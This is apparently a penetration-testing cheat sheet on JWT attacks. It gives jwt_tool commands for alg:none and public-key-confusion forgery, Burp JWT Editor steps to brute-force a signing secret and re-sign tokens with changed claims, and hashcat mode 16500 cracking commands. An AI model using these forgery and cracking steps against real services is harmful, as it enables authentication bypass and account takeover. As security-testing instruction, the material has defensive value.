JSON Web Token (JWT) is the proposed Internet standard, RFC 7519, for creating data with optional signature and/or optional encryption whose payload holds JSON that asserts some number of claims. The tokens are signed using a private secret or a public/private key.

Let's take a deeper dive into decoding and manipulating JWTs. This is a great website that will quickly decode and modify a JWT.

JWT.IO
Decode, verify and generate JSON Web Tokens with our online debugger.

Here is another fantastic tool that will automate modifying JWTs for penetration testing.

GitHub - ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens
:snake: A toolkit for testing, tweaking and cracking JSON Web Tokens - GitHub - ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens
# Simple decode
$ python3 jwt_tool.py <JWT>

# Changes alg to None
python3 jwt_tool.py <<JWT_TOKEN>> -X a

# DIRTY ALL CHECKS
python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" -rh "Authorization: Bearer eyJhbG...<JWT Token>"

Sign JWT with Public Cert after using HS256 ALG

This method signs the JWT with the Public Certifcate from the web server hosting the application/API to test if it will be accepted. If a call is successfuly made with the modified JWT, then the JWT could be modified with any values, and finally signed with the Public Certificate for usage!

# Get public key
openssl s_client -connect <hostname>:443

# Copy the server certificate into a new file
nano cert.pem

-----BEGIN CERTIFICATE-----
MIIGJTCCBQ2gAwIBAgIQDDaea1XwVFbuw0e+PqAE5TANBgkqhkiG9w0BAQsFADBG
MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRUwEwYDVQQLEwxTZXJ2ZXIg
-----END CERTIFICATE-----

# Then

python3 jwt_tool.py <<JWT_TOKEN>> -X k -pk <<PUBKEY.PEM>>

python3 jwt_tool.py <<JWT_TOKEN>> -X k -pk cert.pem

Burp Suite

Burp Suite is the swiss-army knife for hacking tools, it has a multitude of bells and whistles. After adding the JWT Editor extension, JWTs can. be modified from within Burp Suite for immediate testing and exploitation.

Part 1 - Brute-force the secret key
  1. In Burp, load the JWT Editor extension from the BApp store.
  2. In the target application, generate a JWT token and send the HTTP request to Burp Repeater.
  3. Copy the JWT and brute-force the secret. This can be done using hashcat as follows:
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list

If you're using hashcat, this outputs the JWT, followed by the secret. Use a dicitionary list at /path/to/jwt.secrests.list to use for brute-forcing.

Note that if you run the command more than once, you need to include the --show flag to output the results to the console again.
Part 2 - Generate a forged signing key
  1. Using Burp Decoder, Base64 encode the secret that was brute-forced in the previous section.
  2. In Burp, go to the JWT Editor Keys tab and click New Symmetric Key. In the dialog, click Generate to generate a new key in JWK format. Note that you don't need to select a key size as this will automatically be updated later.
  3. Replace the generated value for the k property with the Base64-encoded secret.
  4. Click OK to save the key.
Part 3 - Modify and sign the JWT
  1. Go back to the target application's request in Burp Repeater and switch to the extension-generated JSON Web Token message editor tab.
  2. In the payload, change the values of any claim.
  3. At the bottom of the tab, click Sign, then select the key that was generated in the previous section.
  4. Make sure that the Don't modify header option is selected, then click OK. The modified token is now signed with the correct signature.
  5. Send the request and observe that the JWT was successfully used by the target application.

Cracking HS/HMAC Token

Try testing the HS token against weak password configurations by running the following hashcat cracking options. Try using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.

hashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:

# Dictionary Attacks
hashcat -a 0 -m 16500 jwt.txt passlist.txt

# Rule-Based Attack
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule

# Brute-Force Attack: 
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
Please note that the source code of the JWT Hashcat module (hashmode 16500) at src/modules/module_16500.c shows that RSA/RS tokens are not supported and only HS/HMAC types are.